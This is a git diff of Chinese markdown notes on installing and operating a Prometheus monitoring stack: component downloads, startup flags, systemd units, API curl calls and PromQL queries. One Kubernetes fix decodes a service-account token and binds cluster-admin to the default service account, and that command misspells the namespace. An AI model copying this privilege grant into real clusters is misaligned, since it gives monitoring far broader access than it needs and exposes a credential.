https://github.com/prometheus/pushgateway/releases/download/v1.0.1/pushgateway-1.0.1.linux-amd64.tar.gz - https://github.com/prometheus/pushgateway/releases/download/v1.2.0/pushgateway-1.2.0.linux-amd64.tar.gz + https://github.com/prometheus/pushgateway/releases/download/v1.0.1/pushgateway-1.0.1.linux-amd64.tar.gz + https://github.com/prometheus/pushgateway/releases/download/v1.2.0/pushgateway-1.2.0.linux-amd64.tar.gz 2. 启动 -nohup ./pushgateway --web.external-url="http://0.0.0.0:9091" --web.enable-lifecycle 2>&1 & ---web.enable-lifecycle ---persistence.file 开启本地持久化 ---persistence.interval=5m 表示开启本地持久化后数据保留时间 ---web.external-url="http://0.0.0.0:9091" ---web.listen-address=":9091" + nohup ./pushgateway --web.external-url="http://0.0.0.0:9091" --web.enable-lifecycle 2>&1 & + --web.enable-lifecycle + --persistence.file 开启本地持久化 + --persistence.interval=5m 表示开启本地持久化后数据保留时间 + --web.external-url="http://0.0.0.0:9091" + --web.listen-address=":9091" + 3. web端 -http://localhost:9091/ + http://localhost:9091/ ### 三 Alertmanager + 1. 下载安装alertmanager - https://github.com/prometheus/alertmanager/releases/download/v0.20.0/alertmanager-0.20.0.linux-amd64.tar.gz - + https://github.com/prometheus/alertmanager/releases/download/v0.20.0/alertmanager-0.20.0.linux-amd64.tar.gz + 2. 启动 - ./alertmanager --config.file="alertmanager.yml" --web.external-url=http://0.0.0.0:9093 + ./alertmanager --config.file="alertmanager.yml" --web.external-url=http://0.0.0.0:9093 3. web端 -http://localhost:9093 + http://localhost:9093 ### 四 Prometheus-webhook-dingtalk + 1. 下载安装prometheus-webhook-dingtalk -https://github.com/timonwong/prometheus-webhook-dingtalk/releases/download/v1.4.0/prometheus-webhook-dingtalk-1.4.0.linux-amd64.tar.gz + https://github.com/timonwong/prometheus-webhook-dingtalk/releases/download/v1.4.0/prometheus-webhook-dingtalk-1.4.0.linux-amd64.tar.gz 2. 启动 prometheus-webhook-dingtalk -${webhook} 为自定义的名称 -./prometheus-webhook-dingtalk --web.enable-ui --web.enable-lifecycle --config.file=config.yml -或 -./prometheus-webhook-dingtalk --ding.profile=${webhook}=钉钉机器人地址 --template.file=/opt/prometheus-webhook-dingtalk/default.tmpl + ${webhook} 为自定义的名称 + ./prometheus-webhook-dingtalk --web.enable-ui --web.enable-lifecycle --config.file=config.yml + 或 + ./prometheus-webhook-dingtalk --ding.profile=${webhook}=钉钉机器人地址 --template.file=/opt/prometheus-webhook-dingtalk/default.tmpl + - 参数讲解 ---web.enable-lifecycle ---web.enable-ui 启动web界面 /ui ---ding.profile=${webhook}=钉钉机器人地址 ---template.file 指定模板 ---config.file="config.yml" 指定配置文件 + --web.enable-lifecycle + --web.enable-ui 启动web界面 /ui + --ding.profile=${webhook}=钉钉机器人地址 + --template.file 指定模板 + --config.file="config.yml" 指定配置文件 3. 测试prometheus-webhook-dingtalk是否生效 -curl http://localhost:8060/dingtalk/${webhook}/send -H 'Content-Type: application/json' -d '{"msgtype": "text","text": {"content": "测试钉钉机器人连通性"}}' + curl http://localhost:8060/dingtalk/${webhook}/send -H 'Content-Type: application/json' -d '{"msgtype": "text","text": {"content": "测试钉钉机器人连通性"}}' 4. web端 -需要在启动参数里指定开启web端 -127.0.0.1:8060/ui + 需要在启动参数里指定开启web端 + 127.0.0.1:8060/ui ### 五 服务化所有组件 + 1. prometheus + ```conf [Unit] Description=Prometheus Server @@ -89,7 +106,9 @@ ExecReload=/usr/bin/curl -XPOST http://127.0.0.1:9090/-/reload [Install] WantedBy=multi-user.target ``` + 2. alertmanager + ```conf [Unit] Description=Alertmanager @@ -103,8 +122,11 @@ ExecStart=/opt/alertmanager/alertmanager --config.file=/opt/alertmanager/alertma [Install] WantedBy=multi-user.target ``` + 3. prometheus-webhook-dingtalk + - 服务化失败 + ```conf [Unit] Description=prometheus-webhook-dingtalk @@ -120,6 +142,7 @@ WantedBy=multi-user.target ``` 4. pushgateway + ```conf [Unit] Description=Pushgateway @@ -133,30 +156,41 @@ ExecStart=/opt/pushgateway/pushgateway --web.external-url=http://0.0.0.0:9091 -- [Install] WantedBy=multi-user.target ``` + ## 在k8s里部署Prometheus -1. 部署 -monitoring-prometheus-rbac.yml -monitoring-prometheus-config.yml -monitoring-prometheus-deployment.yml + +1. 部署 + monitoring-prometheus-rbac.yml + monitoring-prometheus-config.yml + monitoring-prometheus-deployment.yml 2. 自动发现权限问题 -k8s 官方文档 http://docs.kubernetes.org.cn/148.html -解决 https://stackoverflow.com/questions/53908848/kubernetes-pods-nodes-is-forbidden -Service account是为了方便Pod里面的进程调用Kubernetes API或其他外部服务而设计的。 -kubectl create serviceaccount admin -n monitoring -kubectl describe sa admin -n monitoring -kubectl get secrets -n monitoring - -kubectl get secrets default-token-5shrd -n monitoring -o jsonpath={.data.token} |base64 -d + k8s 官方文档 http://docs.kubernetes.org.cn/148.html + 解决 https://stackoverflow.com/questions/53908848/kubernetes-pods-nodes-is-forbidden + Service account是为了方便Pod里面的进程调用Kubernetes API或其他外部服务而设计的。 + kubectl create serviceaccount admin -n monitoring + kubectl describe sa admin -n monitoring + kubectl get secrets -n monitoring + +kubectl get secrets default-token-5shrd -n monitoring -o jsonpath={.data.token} |base64 -d kubectl create clusterrolebinding add-on-cluster-admin --clusterrole=cluster-admin --serviceaccount=minitoring:default ## 运维须知 + ### 一 各个组件的默认端口以及web界面 + 1. Prometheus Server 默认监听端口 9090 + - / + 2. Alertmanager默认监听9093端口,集群监听端口9094 + - / + 3. PushGateway默认监听端口 9091 + - / -4. prometheus-webhook-dingtalk 默认监听端口 8060 -- web界面默认是关闭状态 /ui \ No newline at end of file + +4. prometheus-webhook-dingtalk 默认监听端口 8060 + +- web界面默认是关闭状态 /ui diff --git a/monitor/Prometheus/prometheus-webhook-dingtalk.md b/monitor/Prometheus/prometheus-webhook-dingtalk.md index 4d94a92..13054a5 100644 --- a/monitor/Prometheus/prometheus-webhook-dingtalk.md +++ b/monitor/Prometheus/prometheus-webhook-dingtalk.md @@ -1,18 +1,26 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### 告警 -1. 合格的告警通知 - 1. 报警级别 - 2. 简短的报警名称 - 3. 简要说明 - 4. 解决办法 - 5. 一个链接,点击后进入指标的 Graph +1. 合格的告警通知 + 1. 报警级别 + 2. 简短的报警名称 + 3. 简要说明 + 4. 解决办法 + 5. 一个链接,点击后进入指标的 Graph #### dingding告警 + - 模板 -https://github.com/timonwong/prometheus-webhook-dingtalk/issues/17 -https://golang.org/pkg/text/template/ + https://github.com/timonwong/prometheus-webhook-dingtalk/issues/17 + https://golang.org/pkg/text/template/ - 模板语法 https://www.cnblogs.com/Pynix/p/4154630.html + ```go 参考1 {{ define "__subject" }}[{{ if eq .Status "firing" }}告警:{{ .Alerts.Firing | len }}{{ else }}恢复{{ end }}]{{ end }} @@ -58,7 +66,6 @@ https://golang.org/pkg/text/template/ {{ end }} ``` - ```go 我写的 {{ define "__text_alert_list" }}{{ range . }} **Time:** {{ .StartsAt | date "2006.01.02 15:04:05" }} @@ -76,4 +83,4 @@ https://golang.org/pkg/text/template/ {{ end }} {{ end }}{{ end }} -``` \ No newline at end of file +``` diff --git a/monitor/Prometheus/prometheus.md b/monitor/Prometheus/prometheus.md index 8250952..1de6f50 100644 --- a/monitor/Prometheus/prometheus.md +++ b/monitor/Prometheus/prometheus.md @@ -1,5 +1,9 @@ +--- +created_date: 2020-11-16 +--- [TOC] + 官网文档 https://prometheus.io/docs/introduction/overview/ blog: @@ -9,229 +13,262 @@ https://www.jianshu.com/p/2c49e59c6fdd https://blog.csdn.net/yetugeng/article/details/83304514 数据类型 https://blog.csdn.net/polo2044/article/details/83277299 + ## 基本 + ### 一 prometheus概览 + 1. 适用场景: - 样本值为纯数字。https://prometheus.io/docs/introduction/faq/#why-are-all-sample-values-64-bit-floats-i-want-integers -1. 特性 - 支持远程读写 - 通过集群部署支持高可用 https://prometheus.io/docs/introduction/faq/#can-prometheus-be-made-highly-available - 支持扩展/联邦制 https://prometheus.io/docs/introduction/faq/#why-are-all-sample-values-64-bit-floats-i-want-integers - - 多维数据模型【时序由 metric(指标) 名字和 k/v 的 labels 构成】。 - 灵活的查询语句(PromQL)。 - 无依赖存储。 - 采用 http 协议,使用 pull 模式拉取数据。 - 监控目标,可以采用服务发现或静态配置的方式。 - 支持多种统计数据模型。 - -1. 组件 - - prometheus server - - pushGateway - - alertmanager - - exporters - - client libraries -2. 数据存储: - - TSDB (时间序列数据库) - - -3. Merics 指标类型: -https://prometheus.io/docs/concepts/metric_types/ -https://frezc.github.io/2019/08/03/prometheus-metrics/ + 样本值为纯数字。https://prometheus.io/docs/introduction/faq/#why-are-all-sample-values-64-bit-floats-i-want-integers + +2. 特性 + 支持远程读写 + 通过集群部署支持高可用 https://prometheus.io/docs/introduction/faq/#can-prometheus-be-made-highly-available + 支持扩展/联邦制 https://prometheus.io/docs/introduction/faq/#why-are-all-sample-values-64-bit-floats-i-want-integers + + 多维数据模型【时序由 metric(指标) 名字和 k/v 的 labels 构成】。 + 灵活的查询语句(PromQL)。 + 无依赖存储。 + 采用 http 协议,使用 pull 模式拉取数据。 + 监控目标,可以采用服务发现或静态配置的方式。 + 支持多种统计数据模型。 + +3. 组件 + + - prometheus server + - pushGateway + - alertmanager + - exporters + - client libraries + +4. 数据存储: + + - TSDB (时间序列数据库) + - + +5. Merics 指标类型: + https://prometheus.io/docs/concepts/metric_types/ + https://frezc.github.io/2019/08/03/prometheus-metrics/ + - 样本值都是以 float64的浮点类型 存储在时序数据库里面。 - - Counter(计数器) - 采样值只增不减 - - Guage(仪表盘) - 采样值可增可减 - - Histogram(直方图) - 分组计数,采样值小于le值的个数 _bucket{le=""} - 所有观测值的总和 _sum - 已观察到的事件的计数 _count (identical to _bucket{le="+Inf"} above) - - Summary(摘要) - 分组统计百分比,百分比小于quantile的采样值 {quantile="<φ>"} - 所有观测值的总和 _sum - 已观察到的事件的计数 _count + - Counter(计数器) + 采样值只增不减 + - Guage(仪表盘) + 采样值可增可减 + - Histogram(直方图) + 分组计数,采样值小于le值的个数 \_bucket{le=""} + 所有观测值的总和 \_sum + 已观察到的事件的计数 \_count (identical to \_bucket{le="+Inf"} above) + - Summary(摘要) + 分组统计百分比,百分比小于quantile的采样值 {quantile="\<φ>"} + 所有观测值的总和 \_sum + 已观察到的事件的计数 \_count 4. job 和 instance -https://prometheus.io/docs/concepts/jobs_instances/ - - instance 表示每一个采集器,由IP+端口组成 - - job 表示一种相同类型的instance -每个instance都自带的metrics -up{job="", instance=""} -scrape_duration_seconds{job="", instance=""} -scrape_samples_post_metric_relabeling{job="", instance=""} -scrape_samples_scraped{job="", instance=""} -scrape_series_added{job="", instance=""} + https://prometheus.io/docs/concepts/jobs_instances/ + + - instance 表示每一个采集器,由IP+端口组成 + - job 表示一种相同类型的instance + 每个instance都自带的metrics + up{job="", instance=""} + scrape_duration_seconds{job="", instance=""} + scrape_samples_post_metric_relabeling{job="", instance=""} + scrape_samples_scraped{job="", instance=""} + scrape_series_added{job="", instance=""} 5. Prometheus Server 配置 - - 服务发现 - - relable + + - 服务发现 + - relable ### 二 Prometheus Server #### 管理Prometheus的API与指令 + - 1,2,3也使用于AlertManager,PushGateway和prometheus-webhook-dingtalk + 1. 健康检查 - curl http://localhost:9090/-/healthy + curl http://localhost:9090/-/healthy + 2. 数据可查询性检查 - curl http://localhost:9090/-/ready + curl http://localhost:9090/-/ready + 3. 热加载配置文件 - curl -X POST http://localhost:9090/-/reload + curl -X POST http://localhost:9090/-/reload + 4. 关闭组件 - curl -X POST http://localhost:9090/-/quit + curl -X POST http://localhost:9090/-/quit + 5. 获取告警项/实例 - curl -s http://localhost:9090/alerts | grep active - curl -s http://localhost:9090/alerts | grep -A 1 job_header - curl -s http://localhost:9090/alerts | grep -C 3 instance - curl -s http://localhost:9090/targets | grep -A 2 table-container + curl -s http://localhost:9090/alerts | grep active + curl -s http://localhost:9090/alerts | grep -A 1 job_header + curl -s http://localhost:9090/alerts | grep -C 3 instance + curl -s http://localhost:9090/targets | grep -A 2 table-container 6. 正确的关闭进程 kill -TERM 进程号 -7. 重新加载配置 kill -1 进程号 or kill HUP 进程号 +7. 重新加载配置 kill -1 进程号 or kill HUP 进程号 + +#### Prometheus Server相关配置的语法检查器 -#### Prometheus Server相关配置的语法检查器 1. 下载安装工具 -go get github.com/prometheus/prometheus/cmd/promtool + go get github.com/prometheus/prometheus/cmd/promtool 2. 语法检查 -./promtool check config prometheus.yml -./promtool check rules prometheus.rules.yml + ./promtool check config prometheus.yml + ./promtool check rules prometheus.rules.yml #### Prometheus简单测试 + 1. 下载安装测试工具 -git clone https://github.com/prometheus/client_golang.git -cd client_golang && go get -d && go build + git clone https://github.com/prometheus/client_golang.git + cd client_golang && go get -d && go build 2. 启动agent -./random -listen-address=:8081 & + ./random -listen-address=:8081 & ### 三 PushGateway + 1. 常用API + - 推送数据进PushGateway -echo "test_metric 2333" | curl --data-binary @- http://127.0.0.1:9091/metrics/job/test_job -curl -XPOST --data-binary @data.txt http://127.0.0.1:9091/metrics/job/nginx/instance/172.27.0.3 + echo "test_metric 2333" | curl --data-binary @- http://127.0.0.1:9091/metrics/job/test_job + curl -XPOST --data-binary @data.txt http://127.0.0.1:9091/metrics/job/nginx/instance/172.27.0.3 - 删除PushGateway上的数据 -curl -X DELETE http://127.0.0.1:9091/metrics/job/nginx/instance/172.27.0.3 + curl -X DELETE http://127.0.0.1:9091/metrics/job/nginx/instance/172.27.0.3 ### 四 prometheus告警工具 + #### Alertmanager + - 概览 -接收器receiver,分组group -- + 接收器receiver,分组group +- + https://github.com/prometheus/alertmanager 1. cli工具amtool + - 查看所有正在发生的告警 ./amtool alert --alertmanager.url http://127.0.0.1:9093 alertname="通过告警名称进行过滤" instance=~"通过实例名称进行正则表达式过滤" - 查看所有告警路由 ./amtool config routes --alertmanager.url http://127.0.0.1:9093 -- 配置文件语法检查 +- 配置文件语法检查 ./amtool check-config alertmanager.yml - 配置文件语法的检查和信息查看 ./amtool check-config alertmanager.yml + 2. 常用API:https://github.com/prometheus/alertmanager/blob/master/api/v2/openapi.yaml + - 查看所有正在发生的告警 -curl http://localhost:9093/api/v2/alerts + curl http://localhost:9093/api/v2/alerts - 重新加载配置文件 -curl -X POST http://127.0.0.1:9093/-/reload + curl -X POST http://127.0.0.1:9093/-/reload 3. 配置讲解 - group_wait: 30s 指定同一组的告警信息等待多长时间后再发送 - group_interval: 1s 指定同一组的告警信息间隔多久发送 - repeat_interval: 1h 指定告警多久没回复后再次发送信息 + group_wait: 30s 指定同一组的告警信息等待多长时间后再发送 + group_interval: 1s 指定同一组的告警信息间隔多久发送 + repeat_interval: 1h 指定告警多久没回复后再次发送信息 4. Inhibitor 抑制 5. Silencer 静默 -### k8s监控组件 - 监控指标 具体实现 举例 - pod性能 cadvisor 容器的cpu、内存利用率(k8s内部提供) - node性能 node-exporter node节点的cpu、内存利用率 - k8s资源对象 kube-state-metrics pod/deployment/service - 性能分析工具 heapster->metrics-server 器集群监控和性能分析工具 +### k8s监控组件 + +监控指标 具体实现 举例 +pod性能 cadvisor 容器的cpu、内存利用率(k8s内部提供) +node性能 node-exporter node节点的cpu、内存利用率 +k8s资源对象 kube-state-metrics pod/deployment/service +性能分析工具 heapster->metrics-server 器集群监控和性能分析工具 + - cadvisor各个指标含义: -https://github.com/google/cadvisor/blob/master/docs/storage/prometheus.md + https://github.com/google/cadvisor/blob/master/docs/storage/prometheus.md - 从 v1.8 开始,资源使用情况的监控可以通过 Metrics API的形式获取,具体的组件为Metrics Server,用来替换之前的heapster,heapster从1.11开始逐渐被废弃。 -Kubernetes 的核心监控数据,需要通过 API server 的 /apis/metrics.k8s.io/ 路径获取,只有部署了 Metrics Server 应用程序后这个 API 才可用。 -Metrics Server 是集群级别的资源利用率数据的聚合器,直接取代了 Heapster 项目。Metrics Server 并不是 API server 的一部分,而是通过 Aggregator 插件机制注册到主 API server 之上,然后基于 kubelet 的 Summary API 收集每个节点的指标数据,并存在内存里以指标 API 格式提供 -metrics-server 应用程序默认会从 kubelet 的 10250 端口基于 HTTP API 获取指标数据,如果不修改可能会导致其部署完成后无法正常获取数据。 + Kubernetes 的核心监控数据,需要通过 API server 的 /apis/metrics.k8s.io/ 路径获取,只有部署了 Metrics Server 应用程序后这个 API 才可用。 + Metrics Server 是集群级别的资源利用率数据的聚合器,直接取代了 Heapster 项目。Metrics Server 并不是 API server 的一部分,而是通过 Aggregator 插件机制注册到主 API server 之上,然后基于 kubelet 的 Summary API 收集每个节点的指标数据,并存在内存里以指标 API 格式提供 + metrics-server 应用程序默认会从 kubelet 的 10250 端口基于 HTTP API 获取指标数据,如果不修改可能会导致其部署完成后无法正常获取数据。 + ### 数据的获取 + - Prometheus通过HTTP接口的方式从各种客户端获取数据,这些客户端必须符合Prometheus监控数据格式。 + 1. 侵入式埋点监控 -通过在客户端集成,Kubernetes API直接通过引入Prometheus go client,提供/metrics接口查询kubernetes API各种指标 + 通过在客户端集成,Kubernetes API直接通过引入Prometheus go client,提供/metrics接口查询kubernetes API各种指标 2. 通过exporter方式 -在外部将原来 各种中间件的监控支持 转化为Prometheus的监控数据格式。 -可以理解成监控适配器,将不同指标类型和格式的数据统一转化为Prometheus能够识别的指标类型。 + 在外部将原来 各种中间件的监控支持 转化为Prometheus的监控数据格式。 + 可以理解成监控适配器,将不同指标类型和格式的数据统一转化为Prometheus能够识别的指标类型。 ### 配置监控对象 + 1. 通过静态文件配置 2. 通过动态发现机制,自动注册监控对象。 ## 深入 + ### storage -1. block 的目录结构 - 2. chunks   是个目录、保存压缩后的timeseries数据,每个chunks大小为512M,超过会生成新的chunks - 3. meta.json 记录block块元信息,比如 样本的起始时间、chunks数量和数据量大小等 - 4. index   通过metric名和labels查找时序数据在chunk文件中的位置 - 5. tombstones      删除操作会首先记录到这个文件 + +1. block 的目录结构\ + 2\. chunks   是个目录、保存压缩后的timeseries数据,每个chunks大小为512M,超过会生成新的chunks + 3\. meta.json 记录block块元信息,比如 样本的起始时间、chunks数量和数据量大小等 + 4\. index   通过metric名和labels查找时序数据在chunk文件中的位置 + 5\. tombstones      删除操作会首先记录到这个文件 2. wal目录结构 临时存储在内存里数据的binlog日志 - 1. 00000369 每个数据段最大为128M,老版本默认大小是256M - 2. heckpoint.000365 + + 1. 00000369 每个数据段最大为128M,老版本默认大小是256M + 2. heckpoint.000365 为防止程序异常而导致数据丢失,采用了WAL机制,即2小时内记录的数据存储在内存中的同时,还会记录一份日志,存储在block下的wal目录中。当程序再次启动时,会将wal目录中的数据写入对应的block中,从而达到恢复数据的效果。 ### Memory + 1. 内存使用测量 -https://www.robustperception.io/how-much-ram-does-prometheus-2-x-need-for-cardinality-and-ingestion + https://www.robustperception.io/how-much-ram-does-prometheus-2-x-need-for-cardinality-and-ingestion + #### 内存溢出问题 1. https://developer.aliyun.com/article/765358 -异常恢复问题:Prometheus使用binlog的方式将实时写入的数据持久化,在crash的时候会重新回放binlog来恢复。但由于数据在内存中保存2小时,一次恢复的时间可能很长,而一旦是因为OOM问题重启,Prometheus将无限重启下去。 - + 异常恢复问题:Prometheus使用binlog的方式将实时写入的数据持久化,在crash的时候会重新回放binlog来恢复。但由于数据在内存中保存2小时,一次恢复的时间可能很长,而一旦是因为OOM问题重启,Prometheus将无限重启下去。 2. 参考资料 -https://stackoverflow.com/questions/56115912/why-does-prometheus-consume-so-much-memory -https://groups.google.com/g/prometheus-users/c/K-63dBkJwuY?pli=1 -https://www.cnblogs.com/chenmingming0225/p/12634250.html + https://stackoverflow.com/questions/56115912/why-does-prometheus-consume-so-much-memory + https://groups.google.com/g/prometheus-users/c/K-63dBkJwuY?pli=1 + https://www.cnblogs.com/chenmingming0225/p/12634250.html 3. memory limiting -Prometheus 2.x has no memory limiting, because it doesn't have a separate cache memory like 1.x had. -Prometheus 1.x, the memory flag was not a limit, but a target. It would easily use more than the target limit. + Prometheus 2.x has no memory limiting, because it doesn't have a separate cache memory like 1.x had. + Prometheus 1.x, the memory flag was not a limit, but a target. It would easily use more than the target limit. 4. 内存与磁盘 -storage.tsdb.max-block-duration 设置数据块最大时间跨度,默认为最大data chunks保留时间的 10% -storage.tsdb.min-block-duration 设置数据块最小时间跨度,默认 2h 的数据量。内存中的head block在此范围之后它们将被持久化。监控数据是按块(block)存储,每一个块中包含该时间窗口内的所有样本数据 + storage.tsdb.max-block-duration 设置数据块最大时间跨度,默认为最大data chunks保留时间的 10% + storage.tsdb.min-block-duration 设置数据块最小时间跨度,默认 2h 的数据量。内存中的head block在此范围之后它们将被持久化。监控数据是按块(block)存储,每一个块中包含该时间窗口内的所有样本数据 -5. 1.X version github说没有内存限制效果 -https://www.bookstack.cn/read/prometheus-manual/operating-storage.md -https://www.cnblogs.com/davygeek/p/6668706.html -storage.local.memory-chunks 设定prometheus内存中保留的chunks的最大个数,默认为1048576,即为1G大小 -storage.local.series-file-shrink-ratio -storage.local.max-chunks-to-persist 该参数控制等待写入磁盘的chunks的最大个数,如果超过这个数,Prometheus会限制采样的速率,直到这个数降到指定阈值的95%。建议这个值设定为storage.local.memory-chunks的50%。Prometheus会尽力加速存储速度,以避免限流这种情况的发送。 +5. 1.X version github说没有内存限制效果 + https://www.bookstack.cn/read/prometheus-manual/operating-storage.md + https://www.cnblogs.com/davygeek/p/6668706.html + storage.local.memory-chunks 设定prometheus内存中保留的chunks的最大个数,默认为1048576,即为1G大小\ + storage.local.series-file-shrink-ratio + storage.local.max-chunks-to-persist 该参数控制等待写入磁盘的chunks的最大个数,如果超过这个数,Prometheus会限制采样的速率,直到这个数降到指定阈值的95%。建议这个值设定为storage.local.memory-chunks的50%。Prometheus会尽力加速存储速度,以避免限流这种情况的发送。 #### 内存消耗 + 1. prometheus tsdb has a memory block which is named: "head", because head stores all the series in latest hours, it will eat a lot of memory. -prometheus按照block块的方式来存储数据,每2小时为一个时间单位,首先会存储到内存中,当到达2小时后,会自动写入磁盘中。(耗内存随着数据量增大,耗内存可能会很大) + prometheus按照block块的方式来存储数据,每2小时为一个时间单位,首先会存储到内存中,当到达2小时后,会自动写入磁盘中。(耗内存随着数据量增大,耗内存可能会很大) 2. each block on disk also eats memory, because each block on disk has a index reader in memory, dismayingly, all labels, postings and symbols of a block are cached in index reader struct, the more blocks on disk, the more memory will be cupied. -每个block都会将一些索引信息存放在内存中(耗内存稳定) - + 每个block都会将一些索引信息存放在内存中(耗内存稳定) 3. 大量的查询和数据的读取(中) -https://www.robustperception.io/new-features-in-prometheus-2-5-0 -2.5版本后新增 --query.max-samples ---query.max-samples=50000000 - - + https://www.robustperception.io/new-features-in-prometheus-2-5-0 + 2.5版本后新增 --query.max-samples + --query.max-samples=50000000 ### 自身的监控 -scrape_samples_scraped 目标暴露的样本数量 + +scrape_samples_scraped 目标暴露的样本数量 scrape_samples_post_metric_relabeling 指标重打标签后,剩余的样本数量 scrape_duration_seconds 抓取目标消耗的时间 up 如果实例可达则取值1,否则0 - - - diff --git a/monitor/Prometheus/promql.md b/monitor/Prometheus/promql.md index 252ba58..f7daa27 100644 --- a/monitor/Prometheus/promql.md +++ b/monitor/Prometheus/promql.md @@ -1,109 +1,133 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + - 参考文档 -https://prometheus.io/docs/prometheus/latest/querying/functions/ -https://blog.csdn.net/changzhehuan7809/article/details/100969240 + https://prometheus.io/docs/prometheus/latest/querying/functions/ + https://blog.csdn.net/changzhehuan7809/article/details/100969240 - 数据类型 - - query 瞬时向量 - - query_range 区间向量 - - scalar 标量 - - series 元数据 + + - query 瞬时向量 + - query_range 区间向量 + - scalar 标量 + - series 元数据 + ### 表达式 -1. rate() + +01. rate() + - 含义:配合counter类型数据,取counter在这个时间段中的平均每秒增量。 - 场景:监控网络接受字节数的情况,在9:10到9:20期间累计量增加了1000bytes,加入rate([1m])函数后就会使用1000除以60秒,计算出数据大约为16bytes。 - - 案例:rate( node_network_receive_bytes[1m] ) # 获取1分钟内每秒的增量 -1. irate() + - 案例:rate( node_network_receive_bytes[1m] ) # 获取1分钟内每秒的增量 + +02. irate() + - 含义:配合counter类型数据,取counter在这个时间段中最近两个数据点来算速率。 -2. increase() + +03. increase() + - 含义:和rate()函数一样也是配合Counter使用。区别就是它是取其中一段时间的增量而不是平均值. - - 案例:increase(node_cpu[1m]) # 获取CPU总使用时间1分钟的增量 + - 案例:increase(node_cpu[1m]) # 获取CPU总使用时间1分钟的增量 + +04. sum() -3. sum() - 场景:在工作中CPU大多是多核的,而node_cpu会将每个核的数据都单独显示出来,我们其实不会关注每个核的单独情况,而是关心总的CPU情况。使用sum()函数进行求和后可以得出一条总的数据。 - 案例:sum( increase(node_cpu[1m]) ) -4. count() + +05. count() + - 案例 count(count_netstat_wait_connections > 200) # 当CPU使用率大于80%的机器达到200台就进行报警 -5. topk() + +06. topk() + - 含义:从大量数据中取出排行前N的数值 - - 案例:topk(3,count_netstat_wait_connections) # Gauge类型 -6. bottomk() + - 案例:topk(3,count_netstat_wait_connections) # Gauge类型 + +07. bottomk() 含义:从大量数据中排序取出后N个数值 -5. absent() + +08. absent() 含义:如果传递给它的向量具有任何元素,则返回空向量; 如果传递给它的向量没有元素,则返回值为1的1元素向量。 -5. delta() - 含义:计算范围向量v中每个时间系列元素的第一个和最后一个值之间的差值,返回具有给定增量和等效标签的即时向量。 +09. delta() + 含义:计算范围向量v中每个时间系列元素的第一个和最后一个值之间的差值,返回具有给定增量和等效标签的即时向量。 案例:delta(cpu_temp_celsius{host="zeus"}[2h]) -6. changes() +10. changes() 含义: 计算范围向量v中 时间序列数据 被更改的次数 -6. histogram_quantile() +11. histogram_quantile() -7. time() -time() returns the number of seconds since January 1, 1970 UTC. Note that this does not actually return the current time, but the time at which the expression is to be evaluated. +12. time() + time() returns the number of seconds since January 1, 1970 UTC. Note that this does not actually return the current time, but the time at which the expression is to be evaluated. ### 常用表达式 + 1. 一段时间内的平均值排序 -sort_desc(sum(avg_over_time(aws_elb_request_count_sum[1h]))without(availability_zone)) + sort_desc(sum(avg_over_time(aws_elb_request_count_sum[1h]))without(availability_zone)) + #### K8s Pod常用 + - Pod 的cpu使用率 -sum(rate(container_cpu_usage_seconds_total{image!=""}[1m])) by (pod_name, namespace) / (sum(container_spec_cpu_quota{image!=""}/100000) by (pod_name, namespace)) * 100 + sum(rate(container_cpu_usage_seconds_total{image!=""}[1m])) by (pod_name, namespace) / (sum(container_spec_cpu_quota{image!=""}/100000) by (pod_name, namespace)) * 100 - Pod 内存使用率 -sum(container_memory_rss{image!=""}) by(pod_name, namespace) / sum(container_spec_memory_limit_bytes{image!=""}) by(pod_name, namespace) * 100 != +inf + sum(container_memory_rss{image!=""}) by(pod_name, namespace) / sum(container_spec_memory_limit_bytes{image!=""}) by(pod_name, namespace) * 100 != +inf - Pod 文件系统使用量 -sum(container_fs_usage_bytes{image!=""}) by(pod_name, namespace) / 1024 / 1024 / 1024 + sum(container_fs_usage_bytes{image!=""}) by(pod_name, namespace) / 1024 / 1024 / 1024 + #### node 常用 -- node cpu 使用率 -(100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)) > 80 +- node cpu 使用率 + (100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)) > 80 ### 查询-操作数据库 1. 瞬时向量查询格式: -curl http://localhost:9090/api/v1/query_range?query=xxx&&time=时间戳 -示范: -curl http://localhost:9090/api/v1/query?query=gluster_volume_heal_count -curl -g 'http://localhost:9090/api/v1/query?query=up{job="test"}' -curl -g http://localhost:9090/api/v1/query?query="gluster_volume_heal_count{volume='vol_b13542d3dc9366b65b2713a8b11f83f6'}[2m]" + curl http://localhost:9090/api/v1/query_range?query=xxx&&time=时间戳 + 示范: + curl http://localhost:9090/api/v1/query?query=gluster_volume_heal_count + curl -g 'http://localhost:9090/api/v1/query?query=up{job="test"}' + curl -g http://localhost:9090/api/v1/query?query="gluster_volume_heal_count{volume='vol_b13542d3dc9366b65b2713a8b11f83f6'}[2m]" 2. 区间向量查询格式: -curl http://localhost:9090/api/v1/query_range?query=xxx&start=xxx&end=xxx&step=xxx + curl http://localhost:9090/api/v1/query_range?query=xxx&start=xxx&end=xxx&step=xxx 3. 标量 -示范: -count(go_gc_duration_seconds) + 示范: + count(go_gc_duration_seconds) 4. 元数据 -curl curl -g 'http://localhost:9090/api/v1/series?match[]=xxx&start=xxx&end=xxx -示范: -curl -g 'http://localhost:9090/api/v1/series?match[]=gluster_volume_heal_count{volume="vol_b13542d3dc9366b65b2713a8b11f83f6",brick_path="/var/lib/heketi/mounts/vg_c19e716af761047bb57c2f3392bd71d0/brick_eba56e37e81f691bc4b8b2ad026ec76a/brick"}' + curl curl -g 'http://localhost:9090/api/v1/series?match[]=xxx&start=xxx&end=xxx + 示范: + curl -g 'http://localhost:9090/api/v1/series?match[]=gluster_volume_heal_count{volume="vol_b13542d3dc9366b65b2713a8b11f83f6",brick_path="/var/lib/heketi/mounts/vg_c19e716af761047bb57c2f3392bd71d0/brick_eba56e37e81f691bc4b8b2ad026ec76a/brick"}' 5. 其它 -获取所有的标签: -curl http://127.0.0.1:9090/api/v1/labels -获取某个标签的值 -curl http://127.0.0.1:9090/api/v1/label/标签名称/values -获取所以的instance -curl http://127.0.0.1:9090/api/v1/targets?state=active|dropped|any -获取所有的告警规则和记录规则 -curl http://127.0.0.1:9090/api/v1/rules?type=alert|record -获取所有正在发生的告警 -curl http://localhost:9090/api/v1/alerts -返回元数据 -curl http://localhost:9090/api/v1/metadata?metric=指标名称 -查询当前alertmanager的状态 -curl http://localhost:9090/api/v1/alertmanagers -获取当前的配置 -curl http://localhost:9090/api/v1/status/config -运行信息 -curl 